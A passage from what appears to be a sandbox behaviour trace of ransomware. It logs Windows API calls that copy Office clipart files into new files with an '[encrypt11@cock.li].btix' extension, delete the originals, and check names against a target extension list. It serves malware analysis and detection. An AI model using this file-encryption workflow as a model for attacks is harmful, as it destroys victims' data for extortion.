Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0149.356] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099168.jpg")) returned 1 [0149.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0149.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0149.357] lstrlenW (lpString=".doc") returned 4 [0149.357] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.357] lstrlenW (lpString=".docx") returned 5 [0149.357] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0149.357] lstrlenW (lpString=".pdf") returned 4 [0149.357] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.357] lstrlenW (lpString=".xls") returned 4 [0149.357] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.357] lstrlenW (lpString=".xlsx") returned 5 [0149.357] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0149.357] lstrlenW (lpString=".ppt") returned 4 [0149.357] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0149.357] lstrlenW (lpString=".zip") returned 4 [0149.357] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.357] lstrlenW (lpString=".rar") returned 4 [0149.357] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.357] lstrlenW (lpString=".bz2") returned 4 [0149.357] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.357] lstrlenW (lpString=".7z") returned 3 [0149.357] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0149.357] lstrlenW (lpString=".dbf") returned 4 [0149.357] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0149.358] lstrlenW (lpString=".1cd") returned 4 [0149.358] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0149.358] lstrlenW (lpString=".jpg") returned 4 [0149.358] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0149.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0149.358] lstrlenW (lpString=".doc") returned 4 [0149.358] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0149.358] lstrlenW (lpString=".docx") returned 5 [0149.358] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0149.358] lstrlenW (lpString=".pdf") returned 4 [0149.358] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0149.358] lstrlenW (lpString=".xls") returned 4 [0149.358] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0149.358] lstrlenW (lpString=".xlsx") returned 5 [0149.358] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0149.358] lstrlenW (lpString=".ppt") returned 4 [0149.358] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0149.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0149.358] lstrlenW (lpString=".zip") returned 4 [0149.358] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0149.358] lstrlenW (lpString=".rar") returned 4 [0149.358] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0149.358] lstrlenW (lpString=".bz2") returned 4 [0149.358] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0149.358] lstrlenW (lpString=".7z") returned 3 [0149.358] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0149.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0149.358] lstrlenW (lpString=".dbf") returned 4 [0149.359] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0149.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0149.359] lstrlenW (lpString=".1cd") returned 4 [0149.359] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0149.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099168.JPG") returned 68 [0149.359] lstrlenW (lpString=".jpg") returned 4 [0149.359] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0149.359] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0149.359] lstrlenW (lpString="J0099169.WMF") returned 12 [0149.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0149.359] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=10192) returned 1 [0149.359] CloseHandle (hObject=0x38c) returned 1 [0149.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 0x220 [0149.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0149.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0149.360] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.360] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0149.360] GetLastError () returned 0x0 [0149.360] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x27d0, lpOverlapped=0x0) returned 1 [0149.361] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x27e0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x27e0, lpOverlapped=0x0) returned 1 [0149.461] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.461] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0149.461] SetEndOfFile (hFile=0x390) returned 1 [0150.226] CloseHandle (hObject=0x390) returned 1 [0150.226] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.226] SetEndOfFile (hFile=0x38c) returned 1 [0150.227] CloseHandle (hObject=0x38c) returned 1 [0150.227] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.227] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099169.wmf")) returned 1 [0150.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0150.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0150.228] lstrlenW (lpString=".doc") returned 4 [0150.228] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.228] lstrlenW (lpString=".docx") returned 5 [0150.228] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0150.228] lstrlenW (lpString=".pdf") returned 4 [0150.228] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.228] lstrlenW (lpString=".xls") returned 4 [0150.228] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.228] lstrlenW (lpString=".xlsx") returned 5 [0150.228] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0150.228] lstrlenW (lpString=".ppt") returned 4 [0150.228] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0150.228] lstrlenW (lpString=".zip") returned 4 [0150.228] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.228] lstrlenW (lpString=".rar") returned 4 [0150.228] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.228] lstrlenW (lpString=".bz2") returned 4 [0150.228] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.228] lstrlenW (lpString=".7z") returned 3 [0150.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0150.228] lstrlenW (lpString=".dbf") returned 4 [0150.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0150.228] lstrlenW (lpString=".1cd") returned 4 [0150.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0150.228] lstrlenW (lpString=".jpg") returned 4 [0150.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0150.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0150.229] lstrlenW (lpString=".doc") returned 4 [0150.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.229] lstrlenW (lpString=".docx") returned 5 [0150.229] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0150.229] lstrlenW (lpString=".pdf") returned 4 [0150.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.229] lstrlenW (lpString=".xls") returned 4 [0150.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.229] lstrlenW (lpString=".xlsx") returned 5 [0150.229] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0150.229] lstrlenW (lpString=".ppt") returned 4 [0150.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0150.229] lstrlenW (lpString=".zip") returned 4 [0150.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.229] lstrlenW (lpString=".rar") returned 4 [0150.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.229] lstrlenW (lpString=".bz2") returned 4 [0150.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.229] lstrlenW (lpString=".7z") returned 3 [0150.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0150.229] lstrlenW (lpString=".dbf") returned 4 [0150.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0150.229] lstrlenW (lpString=".1cd") returned 4 [0150.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099169.WMF") returned 68 [0150.229] lstrlenW (lpString=".jpg") returned 4 [0150.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.230] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0150.230] lstrlenW (lpString="J0099179.WMF") returned 12 [0150.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0150.230] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=9154) returned 1 [0150.230] CloseHandle (hObject=0x38c) returned 1 [0150.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 0x220 [0150.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0150.230] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.230] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0150.231] GetLastError () returned 0x0 [0150.231] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x23c2, lpOverlapped=0x0) returned 1 [0150.232] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0x23d0, lpOverlapped=0x0) returned 1 [0150.232] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.233] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.233] SetEndOfFile (hFile=0x390) returned 1 [0150.233] CloseHandle (hObject=0x390) returned 1 [0150.233] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.233] SetEndOfFile (hFile=0x38c) returned 1 [0150.234] CloseHandle (hObject=0x38c) returned 1 [0150.234] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.234] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0150.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0150.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0150.234] lstrlenW (lpString=".doc") returned 4 [0150.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.234] lstrlenW (lpString=".docx") returned 5 [0150.234] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0150.234] lstrlenW (lpString=".pdf") returned 4 [0150.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.234] lstrlenW (lpString=".xls") returned 4 [0150.234] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.234] lstrlenW (lpString=".xlsx") returned 5 [0150.234] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0150.234] lstrlenW (lpString=".ppt") returned 4 [0150.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0150.234] lstrlenW (lpString=".zip") returned 4 [0150.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.235] lstrlenW (lpString=".rar") returned 4 [0150.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.235] lstrlenW (lpString=".bz2") returned 4 [0150.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.235] lstrlenW (lpString=".7z") returned 3 [0150.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0150.235] lstrlenW (lpString=".dbf") returned 4 [0150.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0150.235] lstrlenW (lpString=".1cd") returned 4 [0150.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0150.235] lstrlenW (lpString=".jpg") returned 4 [0150.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0150.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0150.235] lstrlenW (lpString=".doc") returned 4 [0150.235] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.235] lstrlenW (lpString=".docx") returned 5 [0150.235] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0150.235] lstrlenW (lpString=".pdf") returned 4 [0150.235] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.235] lstrlenW (lpString=".xls") returned 4 [0150.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.235] lstrlenW (lpString=".xlsx") returned 5 [0150.235] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0150.235] lstrlenW (lpString=".ppt") returned 4 [0150.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0150.235] lstrlenW (lpString=".zip") returned 4 [0150.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.235] lstrlenW (lpString=".rar") returned 4 [0150.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.236] lstrlenW (lpString=".bz2") returned 4 [0150.236] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.236] lstrlenW (lpString=".7z") returned 3 [0150.236] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0150.236] lstrlenW (lpString=".dbf") returned 4 [0150.236] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0150.236] lstrlenW (lpString=".1cd") returned 4 [0150.236] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.236] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0150.236] lstrlenW (lpString=".jpg") returned 4 [0150.236] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.236] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0150.236] lstrlenW (lpString="J0099180.WMF") returned 12 [0150.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0150.236] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x269ff14 | out: lpFileSize=0x269ff14*=3394) returned 1 [0150.236] CloseHandle (hObject=0x38c) returned 1 [0150.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220 [0150.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0150.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0150.237] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.237] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0150.237] GetLastError () returned 0x0 [0150.237] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0xd42, lpOverlapped=0x0) returned 1 [0150.238] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xd50, lpOverlapped=0x0) returned 1 [0150.239] ReadFile (in: hFile=0x38c, lpBuffer=0x38ef020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x269fecc, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesRead=0x269fecc*=0x0, lpOverlapped=0x0) returned 1 [0150.239] WriteFile (in: hFile=0x390, lpBuffer=0x38ef020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x269fc94, lpOverlapped=0x0 | out: lpBuffer=0x38ef020*, lpNumberOfBytesWritten=0x269fc94*=0xec, lpOverlapped=0x0) returned 1 [0150.239] SetEndOfFile (hFile=0x390) returned 1 [0150.239] CloseHandle (hObject=0x390) returned 1 [0150.239] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x269fec0 | out: lpNewFilePointer=0x0) returned 1 [0150.239] SetEndOfFile (hFile=0x38c) returned 1 [0150.240] CloseHandle (hObject=0x38c) returned 1 [0150.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0150.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1 [0150.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0150.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68 [0150.240] lstrlenW (lpString=".doc") returned 4 [0150.240] lstrcmpiW 